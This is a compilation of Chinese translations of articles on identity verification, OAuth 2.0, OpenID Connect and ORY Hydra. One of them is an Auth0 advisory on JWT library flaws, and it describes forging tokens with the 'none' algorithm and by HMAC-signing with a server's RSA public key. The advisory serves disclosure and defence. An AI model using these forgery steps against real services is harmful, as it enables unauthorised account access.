以文件为中心的身份验证让您对机器学习和自拍匹配与 ISO 认证的 liveness 技术更有信心，以验证政府 ID 并验证您的用户身份。

从一开始就了解您的客户

• 通过降低欺诈和帐户接管的风险，自信地与您的客户在线互动。身份验证为您的企业提供了适当的保证，即与您互动的客户是他们在注册或开户时所说的真实身份。
• 在与用户互动时优化体验和安全性
• 通过快速集成到应用程序中来缩短上市时间
• 保持敏捷性，为您的业务实现持续的数字化创新

与您的用户建立信任

• 从一开始就集成身份验证，与您的用户建立信任。通过让您更有信心将人连接到他们的设备和凭据，这增强了对每次交互的信任。 身份验证解决方案可让您在用户旅程中无缝集成确认身份，而无需复制或存储 PII。
• 简化为您的用户体验添加身份验证
• 通过将身份验证无缝集成到您的用户体验中来消除摩擦。身份验证功能可以通过 REST API 轻松添加以提高灵活性或使用原生 SDK 让用户在您的移动应用程序中确认身份。
•  
• 此外，编排功能可帮助您构建、测试和优化将身份验证与在线欺诈检测和身份验证服务相结合的用户旅程，以增强体验和安全性。

原文：https://www.pingidentity.com/en/platform/capabilities/identity-verifica…

本文：

哪些库容易受到攻击以及如何防止它们。

TL; DR：如果您使用带有非对称密钥的node-jsonwebtoken, pyjwt, namshi/jose, php-jwt or jsjwt（RS256，RS384，RS512，ES256，ES384，ES512），请更新到最新版本。有关易受攻击库的更多信息，请参阅jwt.io。 （2015-04-20更新）

这是来自Tim McLean的客座文章，他是Auth0安全研究员名人堂成员。蒂姆通常在www.timmclean.net上发表博客。

最近，在审查各种JSON Web令牌实现的安全性时，我发现许多具有关键漏洞的库允许攻击者绕过验证步骤。在许多实现和语言中都发现了同样的两个缺陷，所以我认为准确地写出问题的位置会很有帮助。我认为对标准的更改有助于防止未来的漏洞。

“我发现许多具有严重漏洞的库允许攻击者绕过验证步骤。”

对于那些不熟悉的人来说， JSON Web Token (JWT) 是一种创建令牌的标准，可以断言一些声明。例如，服务器可以生成具有声明“以管理员身份登录”并将其提供给客户端的令牌。然后，客户端可以使用该令牌来证明他们以管理员身份登录。令牌由服务器密钥签名，因此服务器能够验证令牌是否合法。

JWT通常有三个部分：标题，有效负载和签名。

标头标识用于生成签名的算法，看起来像这样：

header = '{"alg":"HS256","typ":"JWT"}'

HS256表示此令牌使用HMAC-SHA256签名。

有效负载包含我们希望提出的声明：

payload = '{"loggedInAs":"admin","iat":1422779638}'

正如JWT规范中所建议的那样，我们包含一个名为iat的时间戳，即“发布时”的缩写。

签名由base64url编码头和有效负载计算，并以句点作为分隔符连接：

key = 'secretkey'

unsignedToken = encodeBase64(header) + '.' + encodeBase64(payload) signature = HMAC-SHA256(key, unsignedToken)

总而言之，我们base64url编码签名，并使用句点将这三个部分连接在一起：

token = encodeBase64(header) + '.' + encodeBase64(payload) + '.' + encodeBase64(signature)

# token is now: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJsb2dnZWRJbkFzIjoiYW

RtaW4iLCJpYXQiOjE0MjI3Nzk2Mzh9.gzSraSYS8EXBxLN_oWnFSRg

CzcmJmMjLiuyu5CSpyHI

很棒。那么，那有什么不对？

好吧，让我们尝试验证令牌。

首先，我们需要确定用于生成签名的算法。没问题，标题中有一个alg字段告诉我们。

但是等等，我们还没有验证这个令牌，这意味着我们还没有验证头。这使我们处于一个尴尬的境地：为了验证令牌，我们必须允许攻击者选择我们用来验证签名的方法。

这对某些实现具有灾难性的影响。

迎接“None”算法

无算法是JWT的一个奇怪的补充。它旨在用于已经验证令牌完整性的情况。有趣的是，它是必须实施的两种算法之一（另一种是HS256）。

不幸的是，一些库处理了使用无算法签名的令牌作为带有经过验证的签名的有效令牌。结果？任何人都可以使用他们想要的任何有效负载创建自己的“签名”令牌，允许在某些系统上进行任意帐户访问。

将这样的标记放在一起很容易。修改上面的示例标题以包含 "alg": "none" 而不是HS256。对有效负载进行任何所需的更改。使用空签名（signature = ""）。

大多数（希望所有？）实现现在都有一个基本检查来防止这种攻击：如果提供了密钥，那么使用none算法的令牌验证将失败。这是一个好主意，但它并没有解决潜在的问题：攻击者控制算法的选择。让我们继续挖掘。

RSA还是HMAC？

JWT规范还定义了许多非对称签名算法（基于RSA和ECDSA）。使用这些算法，使用私钥创建和签名令牌，但使用相应的公钥进行验证。这非常简洁：如果您发布公钥但保留私钥，只有您可以签署令牌，但任何人都可以检查给定令牌是否正确签名。

我看过的大多数JWT库都有这样的API：

# sometimes called "decode"

verify(string token, string verificationKey)

# returns payload if valid token, else throws an error

在使用HMAC签名的系统中，verificationKey将是服务器的秘密签名密钥（因为HMAC使用相同的密钥进行签名和验证）：

verify(clientToken, serverHMACSecretKey)

在使用非对称算法的系统中，verificationKey将是应该验证令牌的公钥：

verify(clientToken, serverRSAPublicKey)

不幸的是，攻击者可以滥用此功能。如果服务器期望使用RSA签名的令牌，但实际上接收到使用HMAC签名的令牌，则会认为公钥实际上是HMAC密钥。

这怎么是灾难？ HMAC密钥应该保密，而公钥是公共密钥。这意味着您的典型 ski mask-wearing attacker 可以访问公钥，并可以使用此伪造服务器将接受的令牌。

这样做非常简单。首先，抓住您最喜欢的JWT库，并为您的令牌选择一个有效负载。然后，获取服务器上使用的公钥作为验证密钥（最有可能采用基于文本的PEM格式）。最后，使用PEM格式的公钥作为HMAC密钥签署您的令牌。实质上：

forgedToken = sign(tokenPayload, 'HS256', serverRSAPublicKey)

最棘手的部分是确保serverRSAPublicKey与服务器上使用的验证密钥相同。字符串必须完全匹配才能使攻击工作 - 完全相同的格式，并且没有额外或缺少的换行符。

最终结果？知道公钥的任何人都可以伪造将通过验证的令牌。

对库开发人员的建议

我建议JWT库在其验证函数中添加一个算法参数：

verify(string token, string algorithm, string verificationKey)

服务器应该已经知道它用于签署令牌的算法，并且允许攻击者提供此值是不安全的。

有些人可能会争辩说，出于兼容性原因，某些服务器需要支持多个算法。在这种情况下，可以（并且应该）为每个支持的算法使用单独的密钥。 JWT可以方便地为此提供“密钥ID”字段（孩子）。由于服务器可以使用密钥ID来查找密钥及其相应的算法，因此攻击者无法再控制密钥用于验证的方式。在任何情况下，我都不认为JWT库甚至不应该查看标题中的alg字段，除非可以检查它是否与预期的算法匹配。

任何使用JWT实现的人都应该确保拒绝具有不同签名类型的令牌。一些库有一个可选的白名单或黑名单算法机制;利用它，否则你可能会面临风险。更好的是：制定一项政策，对用于提供任务关键功能的任何开源库执行安全审核。

改进JWT / JWS标准

我想建议弃用标题的alg字段。正如我们在这里看到的，它的滥用会对JWT / JWS实施的安全性产生破坏性影响。据我所知，密钥ID提供了一个充分的选择。这保证了对规范的改变：JWT库由于依赖于alg而继续编写有安全漏洞。

JWT（和JOSE）提供了一个拥有跨平台安全加密套件的机会

旁白：将JWT实施委托给专家

JWT是OpenID Connect标准不可或缺的一部分，OpenID Connect标准是位于OAuth2框架之上的标识层。 Auth0是OpenID Connect认证的身份平台。这意味着如果您选择Auth0，您可以确定它与遵循规范的任何第三方系统100％可互操作。

OpenID Connect规范要求使用JWT格式的ID令牌，其中包含以声明形式表示的用户配置文件信息（例如用户名和电子邮件）。这些声明是关于用户的声明，如果令牌的使用者可以验证其签名，则可以信任该声明。

虽然OAuth2规范没有规定访问令牌的格式，用于授权应用程序代表用户访问API，但业界也广泛接受JWT的使用。

作为开发人员，您不必担心直接验证，验证或解码服务中与身份验证相关的JWT。您可以使用Auth0的现代SDK来处理JWT的正确实施和使用，因为他们知道JWT遵循最新的行业最佳实践并定期更新以解决已知的安全风险。

例如，用于 Auth0 SDK for Single Page Applications提供了一种从ID令牌auth0.getUser中提取用户信息的方法。

如果您想试用Auth0平台，请注册免费帐户并开始使用！使用您的免费帐户，您将可以使用以下功能：

• Universal Login for Web, iOS & Android
• Up to 2 social identity providers (like Twitter and Facebook)
• Unlimited Serverless Rules

要了解有关JWT的更多信息，它们的内部结构，可以与它们一起使用的不同类型的算法以及它们的其他常见用途，请查看JWT Handbook.。

原文：https://auth0.com/blog/critical-vulnerabilities-in-json-web-token-libraries/

本文:  http://pub.intelligentx.net/node/507

讨论：请加入知识星球或者小红圈【首席架构师圈】

Hydra是一个OAuth 2.0和OpenID连接提供商。换句话说，它是OAuth 2.0授权框架和OpenID Connect Core 1.0框架的实现。因此，它发出OAuth 2.0访问、刷新和ID令牌，使第三方能够以用户的名义访问您的api。

灵活的用户管理

ORY Hydra最大的优点之一是，与其他OAuth 2.0实现不同，它实现了OAuth和OpenID连接标准，而无需强制您使用“Hydra用户管理”(登录、注销、配置文件管理、注册)、特定的模板引擎或预定义的前端。

这允许您在您的技术堆栈中实现用户管理并以您自己的方式进行登录，并使用您的用例(基于标记的2FA、SMS 2FA等)所需的身份验证机制。当然，您可以使用现有的解决方案，如authboss或auth0.com。它为您提供了OAuth 2.0和OpenID连接的所有好处，同时对您的业务逻辑和技术堆栈具有最低限度的侵入性。

密钥存储

除了OAuth 2.0功能之外，ORY Hydra还提供了用于加密密钥(例如用于签署JSON Web令牌)的安全存储，并可以管理OAuth 2.0客户机。

认证

ORY Hydra是OpenID Connect认证(挂起)，实现OpenID基金会提出的所有要求。特别是，它正确地实现了IETF和OpenID Foundation指定的各种OAuth 2.0和OpenID连接流。

安全第一

ORY Hydra的体系结构和工作流程旨在中和许多常见(OWASP前十)和不常见的攻击载体。学习更多的知识。

高性能

Hydra具有较低的CPU和内存占用、较短的启动时间，并且可以轻松地在许多平台上伸缩，包括Heroku、Cloud Foundry、Docker、谷歌容器引擎等。

开发友好型。

Hydra适用于所有流行的平台，包括Linux、OSX和Windows。它作为一个单独的二进制文件发布，没有任何附加的依赖性。为了进一步简化，可以使用Docker映像。

Hydra还提供了一个开发人员友好的CLI。

限制

九头蛇也有一些限制:

1. Hydra不管理用户帐户，即用户注册、密码重置、用户登录、发送确认邮件等。在Hydra的体系结构中，身份提供者负责此工作。
2. Hydra不支持OAuth 2.0资源所有者密码凭据流，因为它是遗留的、不鼓励使用的和不安全的。

九头蛇适合你吗?

OAuth 2.0可以在许多环境中用于各种目的。这个列表可以帮助你决定OAuth 2.0和Hydra是否适合用例:

1. 允许第三方解决方案访问您的api:这就是OAuth2提供程序所做的，Hydra是一个完美的选择。
2. 像谷歌、Facebook或Microsoft这样的身份提供者:OpenID连接，因此Hydra是一个完美的选择。
3. 让您的浏览器、移动或可穿戴应用程序访问您的api:运行OAuth2提供程序可以很好地实现这一点。您不必在设备上存储密码，并且可以随时撤销访问令牌。GMail登录是这样工作的。
4. 您希望限制后端服务可以相互读取的信息类型。例如，评论服务应该只允许获取用户配置文件更新，但不应该能够读取用户密码。OAuth 2.0可能对您有意义。

原文：https://www.ory.sh/docs/hydra/

本文：

讨论：请加入知识星球【首席架构师圈】或者飞聊小组【首席架构师智库】

了解OAuth 2.0设备流如何为有限输入设备提供流畅的身份验证和授权。

厌倦了与遥控器和屏幕电视键盘摔跤，以在智能电视上输入凭据？你已经处理了太多次，你可以打赌你的客户必须这样做。如果您可以通过手机上的几个水龙头帮助他们登录，该怎么办？

使用电视遥控器的人的图象输入凭据

嗨，来自Auth0的Dan为您带来OAuth 2.0设备流程：一种快速，简便，安全的方式来登录智能电视和其他输入受限设备上的应用程序。没有键盘？没有浏览器？没问题！

普通登录可能很乏味且错误很重。 OAuth 2.0设备流程轻巧，可在几秒钟内对您进行身份验证，不仅适用于电视，还适用于游戏机，CLI，打印机等等！

Auth0为开发人员提供了完全兼容的OAuth 2.0设备流程实现，可以轻松应对这一用户体验难题。让我们更多地了解哪些输入受限设备，此授权授权如何工作以及Auth0如何提供帮助。

什么是互联网连接，输入约束设备？

您是否有连接互联网的设备（1）没有浏览器或（2）提供不切实际的输入文本方式？

如果你回答是，那么你有一个输入受限的设备！你想到了什么类型的设备？我在想...

1. 多功能一体机
2. 健身追踪器
3. 流媒体设备
4. 牙刷
5. 游戏主机
6. 冰箱
7. 泰迪熊
8. 车载信息娱乐系统
9. 智能电视
10. 真的，任何在它面前都有“聪明”这个词的东西

物联网（IoT）的狂热使很多设备上线。无论是现在还是将来，在这些设备上运行的软件都可以与您的服务API进行通信，以获取为客户提供跨设备和平台的丰富用户体验所需的数据。但是，如果设备不提供授权外部服务的便捷方式，则该用户体验可能不那么丰富或安全。

“在输入受限的设备上授权是一项挑战。但是什么是输入受限的设备呢？在这篇博文中了解更多信息！”

作为竞争企业，您不希望通过无法提供无浏览器身份验证来限制可以使用您的服务的设备。但是，如果设备提供浏览器或用户界面，您不希望客户使用电视遥控器的箭头输入凭据，以从巨大的屏幕键盘中选择按键。例如，当他们慢慢输入屏幕时，有人会记录他们的凭据。

此外，您还需要确保未在您无法控制的系统上输入用户凭据，并且可以将其存储以供将来访问，例如有时利用专有系统的智能显示器或访问API的第三方客户端。

您所需要的是一种授权第三方应用程序的方法，这些应用程序可以在各种设备上对您的API进行受控访问。 OAuth 2.0设备流程可以帮助您实现这一目标！即使在没有浏览器的设备上，您也可以利用标准委派授权协议的安全性和用户体验优势。

要了解如何使用设备流，最好使用视频流应用程序作为示例在游戏中看到它。

OAuth 2.0设备流程在行动中

假设您想在电视上观看AuthU TV，这是一个虚构的技术视频平台。 首先将AuthU TV应用程序下载到智能电视上。 当您第一次打开应用程序时，您将受到登录屏幕的欢迎。

为了解决问题，您将被要求访问其他设备（如智能手机或笔记本电脑）上的URL，输入一个简短的代码，然后登录到您的AuthU帐户进行身份验证。

完成此过程后，电视上的软件即可访问您的AuthU帐户，并允许您使用遥控器导航AuthU内容 - 而不是输入凭据。

在较高级别，此过程与YouTube重定向到accounts.google.com以处理用户登录的方式非常相似。使用OAuth 2.0设备流，您可以在集中登录页面上管理身份验证过程，使用辅助设备可以更快，更安全地输入凭据。通过将身份验证从设备移到浏览器中，您可以利用更高级的身份和安全功能，例如MFA，SSO和社交登录。

但谈话很便宜：让我们看看设备流程在行动！我们Auth0的工程师创建了一个交互式演示，可让您直接从浏览器模拟AuthU智能电视应用的授权。

首先访问Device Flow Playground。在那里，您可以使用我们的默认演示设置尝试游乐场，也可以使用Auth0帐户设置进行配置，以尝试使用自己的应用程序。

需要Auth0帐户？立即免费入门。在使用Auth0的免费试用版所提供的一切时，你会说“哇！”！

您还可以选择所需的范围。完成后，点击“开始使用”。

接下来，要从模拟AuthU TV应用程序流式传输内容，系统会提示您通过单击“授权”按钮来授权应用程序。

现在，系统会提示您通过导航到激活URL acme-demo.auth0.com/activate，使用其他设备并输入智能电视上显示的代码来授权设备。 您还可以扫描QR码，这将自动输入用户代码。 电视应用程序将等待您在辅助设备上完成此过程，这将触发可用于访问AuthU电视服务的授权响应。

访问提供的链接，输入一次性代码，然后单击“继续”。 您可以使用其他浏览器标签或智能手机移动浏览器执行此操作。

确认网站上显示的代码与智能电视上显示的代码相符，然后单击“继续”。

接下来，注册一个帐户或使用现有帐户登录。

网站上将显示一条消息，确认设备现已连接。

回到智能电视上，AuthU应用程序已准备好开始流媒体内容。 电视应用程序有权获取有关您的其他信息以自定义UI。

这是对OAuth 2.0设备流程的高级技术概述。 让我们来看看如何使用Auth0作为您的身份平台促进此过程。

使用Auth0轻松实现OAuth 2.0设备流程

当您的输入受限设备需要从API获取用户数据时，会发生以下过程：

1. 如果设备应用程序尚未获得授权，则设备应用程序将调用Auth0授权服务器以检索设备代码。
2. Auth0使用URL和用户代码进行响应。您的设备应用要求用户访问辅助设备（如笔记本电脑或智能手机）上的特定网址并提供激活码。
3. 您的设备应用程序开始轮询您的Auth0授权服务器以获取访问令牌和刷新令牌。
4. 用户使用您已配置的身份验证方法之一在辅助设备上使用Auth0进行身份验证。 Auth0是一个身份中心，支持使用各种协议的许多身份提供商（如OpenID Connect，SAML，WS-Federation等）。
5. 身份验证完成后，Auth0会使用访问令牌和刷新令牌响应您的设备应用，这样您就可以刷新访问令牌，而无需再次请求用户的许可。
6. 访问令牌可用于调用API并检索请求的数据。

 

“通过访问令牌和刷新令牌，您可以快速进行身份验证并使其成为最后一次！了解有关令牌如何在OAuth 2.0设备流中工作的更多信息。”

概括

今天，您了解了互联网连接，输入受限设备，这些设备给开发人员和客户带来的挑战，以及Auth0和OAuth 2.0如何让您通过实施设备流来应对这些挑战。

OAuth 2.0设备流程的最佳部分是它允许您将现有的身份验证解决方案扩展到智能设备平台。此授权授权仅允许您的客户对通过另一个设备运行的应用程序进行身份验证和授权。

您可能对您或您的开发团队如何通过代码实现此功能感到好奇。我们很快就会为您提供有关设备流程的详细教程。敬请关注！在此期间，请查看以下资源以获取更多信息：

1. 介绍设备流程
2. Auth0设备授权流程文档
3. 使用设备授权流程调用API
4. OAuth 2.0设备授权授权，草案15

“OAuth 2.0设备流程专为在互联网连接的设备上执行的应用程序而设计，这些设备没有浏览器或受输入限制。它使最终用户能够授权设备应用程序访问服务API。”

原文：https://auth0.com/blog/oauth-device-flow-no-hassle-authentication-as-seen-on-tv/

本文：

讨论：请加入知识星球或者小红圈【首席架构师圈】

1.简介

在这篇文章中，从头开始实施OAuth 2.0和OpenID Connect服务器的开发人员（我）讨论了调查结果。基本上，实施的考虑点是在讨论中写出来的。因此，对于那些正在寻找“如何及时设置OAuth 2.0和OpenID Connect服务器”等信息的人来说，这不是一个文档。如果您正在寻找此类信息，请访问GitHub上的java-oauth-server和java-resource-server。使用这些，您可以在10分钟内启动授权服务器和资源服务器，发出访问令牌并使用访问令牌调用We​​b API，而无需设置数据库服务器。

偏见

我是Authlete，Inc。的联合创始人，该公司是一家在云端提供OAuth 2.0和OpenID Connect实施的公司，因此本文档可能会受到这种偏见的影响。因此，请在脑海中阅读本文档。但是，基本上，我将从纯工程师的角度来写这篇文章。

2.OAuth是否必要？

“我们希望在我们的公司网站上这样做。我们应该实施OAuth吗？“ - 这经常被问到。从本质上讲，这个问题是询问OAuth是什么。
我经常用来解释OAuth的一句话答案如下。

OAuth 2.0是一种框架，其中服务的用户可以允许第三方应用程序访问他/她在服务中托管的数据，而无需向应用程序透露他/她的凭据。

重要的一点是“不向第三方应用程序透露凭据”。 OAuth就是为此而存在的。一旦理解了这一点，您可以通过检查是否满足以下条件来判断您是否应该为公司的服务准备OAuth服务器。

1. 您的服务管理用户的数据。
2. 您希望第三方为您的服务用户开发应用程序。
3. 您不希望向第三方开发的应用程序透露用户凭据。

即使上述条件不满足且贵公司服务的应用程序仅为自制服务，如果您可能希望第三方在将来开发应用程序和/或建议应用程序，建议您实施OAuth服务器如果您想遵循Web API开发的最佳实践。

但是，混淆可能无法解决。当您想要让用户使用他们的外部服务帐户（如Facebook和Twitter）登录您的网站时。由于“OAuth身份验证”这一术语经常在此上下文中使用，因此您可能认为必须为您的服务实施OAuth。但是，在这种情况下，由于您的服务是使用外部服务实施的OAuth的客户端，因此您的服务本身不必实施OAuth。确切地说，您的服务必须编写代码以使用其他公司的OAuth。换句话说，从外部服务的角度来看，您的服务必须表现为OAuth客户端。但是，在此用例中，您的服务不必像OAuth服务器那样运行。也就是说，您不必实现OAuth服务器。

3.认证和授权

我解释了让人们感到困惑的术语 - “OAuth身份验证”。
每个解释都说“OAuth是授权规范，而不是身份验证规范。”这是因为RFC 6749（OAuth 2.0授权框架）明确指出认证“超出了本规范的范围。”以下段落摘自“ 3.1。 RFC 6749中的“授权端点”。

授权端点用于与资源所有者交互并获得授权授权。授权服务器必须首先验证资源所有者的身份。授权服务器验证资源所有者的方式（例如，用户名和密码登录，会话cookie）超出了本规范的范围。

尽管如此，“OAuth身份验证”一词泛滥并使人们感到困惑。这种混淆不仅在商业方面，而且在工程师中也是如此。例如，“OAuth授权与身份验证”之类的问题有时会发布到Stack Overflow（我对问题的回答是这个）。
由术语，认证和授权（在OAuth的上下文中）处理的信息可以描述如下。

1. 身份验证 - 谁是谁。
2. 授权 - 谁授予谁谁的权限。

身份验证是一个简单的概念换句话说，它是对身份的确认。在网站上识别人的最流行方式是请求该人提供一对ID和密码，但还有其他方式，如使用指纹或虹膜的生物识别身份验证，一次性密码，随机数字表等。无论如何，无论使用何种方式，身份验证都是识别身份的过程。使用开发人员的话，可以表示为“身份验证是识别用户唯一标识符的过程”。
另一方面，授权是复杂的，因为涉及三个元素，即“谁”，“什么权限”和“对谁”。另外，令人困惑的是，在这三个要素中，识别“谁”是认证的过程。换句话说，授权过程包括认证过程作为一个部分的事实使事情变得混乱。
如果三个元素应该被开发人员使用的单词替换，“who”可以替换为“user”，“who”替换为“client application”。因此，OAuth上下文中的授权可以说是用户向客户端应用程序授予权限的过程。
下图描绘了到目前为止所解释的概念。

此图说明了授权页面（用户授予客户端应用程序权限的页面）中的哪些部分用于身份验证和授权。身份验证和授权之间的区别很明显。
现在，是时候谈论“OAuth身份验证”了。
因为授权过程包括认证过程作为一部分，所以授权意味着认证。因此，有些人开始使用OAuth进行身份验证。这是“OAuth身份验证”，并且由于“管理用户凭据的任务可以委托给外部服务”以及“新用户开始使用该服务的障碍因为用户而变得更低”等优点而迅速占据主导地位注册过程可以省略。“
OpenID的人对这种情况抱有怨恨。 - 抱歉，我不知道他们是否真的有这种感觉，但至少我可以想象他们认为OAuth身份验证远远超出他们之前定义的规范级别，如OpenID 2.0和SAML。然而，不可否认的是，他们的规范并没有占上风，世界各地的开发人员都选择了OAuth身份验证的简易性。因此，他们在OAuth之上定义了一个新的身份验证规范OpenID Connect。 OpenID Connect常见问题解答将关系描述为如下所示的等式。

(Identity, Authentication) + OAuth 2.0 = OpenID Connect

由于这一点，OpenID Connect的身份验证可以在OAuth授权过程中同时执行。
由于业界的主要参与者一直致力于规范创建和主动实施（FAQ），OpenID Connect肯定会占上风。因此，OmniAuth等OAuth身份验证库将逐渐完成其角色。
但是，人们肯定会变得更加困惑，因为用于身份验证的OpenID Connect建立在用于授权的OAuth之上。很难解释，特别是在我的情况下，因为Authlete专注于授权，虽然它支持OpenID Connect，但它不会对身份验证做任何事情。在开始向客户解释产品本身之前，我总是要解释身份验证和授权之间的区别。
关于OAuth身份验证的问题，请阅读John Bradley先生的文章“OAuth for Authentication的问题”。在文章中他说：“这是一个安全漏洞，你可以开车穿过。”

“再说OAuth是一种认证标准。”Nat Sakimura先生和John Bradley先生。 （来自https://twitter.com/ve7jtb/status/740650395735871488）

4. OAuth 2.0和OpenID Connect之间的关系

然而，到目前为止，所有内容只是这篇文章的序言。开发人员的技术内容从这里开始。第一个主题是OAuth 2.0和OpenID Connect之间的关系。
在我完成RFC 6749（OAuth 2.0授权框架）的实施之后，我注意到了OpenID Connect的存在。当我收集有关OpenID Connect的信息时，我认为我应该实现该功能，因此请阅读OpenID Connect Core 1.0和其他相关规范。在阅读之后，我得出的结论是“所有人都应该从头开始重写”。
OpenID Connect网站称“OpenID Connect 1.0是一个基于OAuth 2.0协议的简单身份层。”这给人的印象是OpenID Connect可以在现有的OAuth 2.0实现之上轻松无缝地实现。然而，事实却完全不同。恕我直言，OpenID Connect实际上是OAuth 3.0。
有许多与OpenID Connect相关的规范，它们令人费解，难以破译它们。在我能够掌握整个画面之前，我几乎疯了，不得不读了三遍。与OpenID Connect规范相比，RFC 6749可以说很容易。

5.响应类型

特别是，与现有实现冲突的是处理请求参数response_type的方法。可以肯定的是，RFC 6749声明请求参数可能需要多个值，但这是将来的可能性。如果我们直接读取RFC 6749，则response_type是代码或令牌。几乎不可能想象这两个是同时设置的。这是因为该参数用于确定处理来自客户端应用程序的请求的流程。具体而言，当response_type的值是代码时使用授权代码流，并且当值是token时使用隐式流。谁能想象这些流量是混合的？即使可以想象它，我们应该如何解决流量之间存在的冲突？例如，授权代码流要求将响应参数嵌入到重定向URI（4.1.2。授权响应）的查询部分中，而隐式流要求将响应参数嵌入到片段部分中（4.2.2。访问令牌）响应），并不能同时满足这些要求。
但是，OpenID Connect已将id_token添加为response_type的新值，并明确允许将code，token和id_token的任意组合作为response_type的值。此外，也没有添加。详情见“3。身份验证“OpenID Connect Core 1.0和OAuth 2.0多响应类型编码实践”。
它需要进行重大更改才能修改在假定选择或选择的情况下编写的现有代码，以便它可以处理可能值和混合流的任意组合。因此，如果将来有可能支持OpenID Connect，OAuth库的实现者应该从头开始用OpenID Connect编写它。换句话说，现有的OAuth库无法在不进行重大修改的情况下支持OpenID Connect。
例如，Spring Security OAuth。此库尚未支持OpenID Connect（截至2016年6月）。对于要支持OpenID Connect的库，首先，请求参数response_type必须能够采用除代码和令牌之外的其他值。对它的请求被列为“问题＃619处理其他response_types”，但它尚未得到解决，并且该主题的最后一条评论是“任何评论都非常受欢迎，因为事实证明（正如我预测的那样）a大型重构练习。“我阅读了一些相关的源文件，发现支持OpenID Connect需要进行大的修改才是真的。除非一些公司在财务上支持该项目，否则我担心该项目需要很长时间才能支持OpenID Connect。
顺便说一句，我也想提到Apache Oltu。该项目声称它支持OpenID Connect，但我的猜测是初始实现仅支持OAuth 2.0，并且在稍后阶段添加了OpenID Connect支持。我认为这样的原因是OAuth 2.0（org.apache.oltu.oauth2）的包和OpenID Connect（org.apache.oltu.openidconnect）的包是隔离的。但是，这种方法会破坏架构。例如，OpenIdConnectResponse类是OAuthAccessTokenResponse的后代是不合适的，因为包含ID令牌的响应不一定包含访问令牌。其他示例是存在名为OAuthClientRequest.AuthenticationRequestBuilder的类（由于某些原因而不是“授权”但是“身份验证”）以及存在GitHub特定的类GitHubTokenResponse。 Apache Oltu的架构至少给我带来了问题。我不知道有关该项目的细节，但在我个人看来，它注定要缩小。

6.客户端应用程序的元数据

正如在RFC 6749的客户端注册中明确写出的那样，客户端应用程序必须在发出授权请求之前提前注册到目标授权服务器。因此，在典型情况下，授权服务器的实现者定义数据库表以存储关于客户端应用程序的信息。
要确定表应该具有哪些列，实现者通过阅读规范来列出项目。例如，阅读RFC 6749将使您意识到至少需要以下项目。

1. Client ID
2. Client Secret
3. Client Type
4. Redirect URIs

除此之外，实现者可以添加更多属性。例如，“应用程序名称”。
即使您通过RFC 6749进行搜索，客户端应用程序的属性也没有那么多，因此存储客户端应用程序属性的数据库表的列数不会变大 - 这样的好日子已经因为出现了OpenID Connect。客户端应用程序应具有的许多属性列在2. OpenID Connect动态客户端注册1.0的客户端元数据中。以下是清单。

1. redirect_uris  - 客户端使用的重定向URI值。
2. response_types  - 客户端声明它将自己限制为使用的response_type值。
3. grant_types  - 授权客户端声明它将限制自己使用的类型。
4. application_type  - 应用程序的种类。
5. 联系人 - 负责此客户的人员的电子邮件地址。
6. client_name  - 要呈现给最终用户的客户端的名称。
7. logo_uri  - 引用客户端应用程序徽标的URL。
8. client_uri  - 客户端主页的URL。
9. policy_uri-依赖方客户端向最终用户提供的URL，以了解如何使用配置文件数据。
10. tos_uri-依赖方客户提供给最终用户的URL，以了解依赖方的服务条款。
11. jwks_uri-客户端的JSON Web密钥集文档的URL。
12. jwks  - 客户端的JSON Web Key Set文档，按值传递。
13. sector_identifier_uri  - 使用https方案的URL，用于由OP计算伪名标识符。
14. subject_type  - 要求对此客户的响应的subject_type。
15. id_token_signed_response_alg  - 签署发给此客户端的ID令牌所需的JWS alg算法。
16. id_token_encrypted_response_alg  - 加密发给此客户端的ID令牌所需的JWE alg算法。
17. id_token_encrypted_response_enc-加密发给该客户端的ID令牌所需的JWE enc算法。
18. userinfo_signed_response_alg-签署UserInfo响应所需的JWS alg算法。
19. userinfo_encrypted_response_alg  - 加密UserInfo响应所需的JWE alg算法。
20. userinfo_encrypted_response_enc  - 加密UserInfo响应所需的JWE enc算法。
21. request_object_signing_response_alg  - 必须用于签署发送给OP的请求对象的JWS alg算法。
22. request_object_encryption_alg  -  RP声明它可以用于加密发送给OP的请求对象的JWE alg算法。
23. request_object_encryption_enc  -  JWE enc算法，RP声明它可以用于加密发送给OP的请求对象。
24. token_endpoint_auth_method-请求端点的请求客户端身份验证方法。
25. token_endpoint_auth_signing_alg  - 必须用于对JWT进行签名的JWS alg算法，该JWT用于在令牌端点对private_key_jwt和client_secret_jwt身份验证方法的客户端进行身份验证。
26. default_max_age  - 默认最大认证年龄。
27. require_auth_time  - 布尔值，指定是否需要ID令牌中的auth_time声明。
28. default_acr_values  - 默认请求的身份验证上下文类参考值。
29. initiate_login_uri  - 使用https方案的URI，第三方可以使用该方案来启动RP的登录。
30. request_uris  - 由RP预先注册以在OP上使用的request_uri值。

因此，客户端应用程序的数据库表应该能够存储这些信息。此外，应该注意的是，允许本地化某些属性（例如client_name，tos_uri，policy_uri，logo_uri和client_uri）（2.1。元数据语言和脚本）。需要额外考虑数据库表设计来存储本地化属性值。
以下小节是我对客户应用程序属性的个人意见。

6.1 客户类型

我担心定义规范是一种错误2. OpenID Connect动态客户端注册1.0的客户端元数据不包含“客户端类型”。我认为这样做的原因是，当我们实现授权服务器时，必须考虑两种客户端类型之间的区别，“机密”和“公共”（在2.1。客户端类型的RFC 6749中定义）。事实上，“客户端类型”被列为要在2.注册RFC 6749的客户端注册的客户端属性的示例如下。

...注册可以依赖于其他方式来建立信任并获得所需的客户端属性（例如，重定向URI，客户端类型）。

如果这不是错误，则必须就动态客户端注册注册的客户端应用程序的客户端类型达成共识。但是，我无法在相关规范中找到此类信息。
无论如何，我认为在为客户端应用程序定义数据库表时，应该存在客户端类型的列。
您可以在问题991中找到关于此的一些讨论。

6.2。申请类型

根据规范，application_type是可选属性。 application_type的预定义值是native和web。如果省略，则将web用作默认值。
如果省略时使用默认值，则自然结果是客户端应用程序的应用程序类型必须是本机和Web。因此，您可能希望在application_type的列中添加NOT NULL。但是，Authlete的实现不敢添加NOT NULL并允许NULL。
原因是我不确定应用于每个OAuth 2.0客户端的OpenID Connect动态客户端注册1.0中定义的application_type所施加的重定向URI值的限制。
使用OAuth隐式授权类型的Web客户端必须仅使用https方案注册URL作为redirect_uris;他们不能使用localhost作为主机名。本机客户端必须仅使用自定义URI方案或URL使用http：scheme注册redirect_uris，并使用localhost作为主机名。
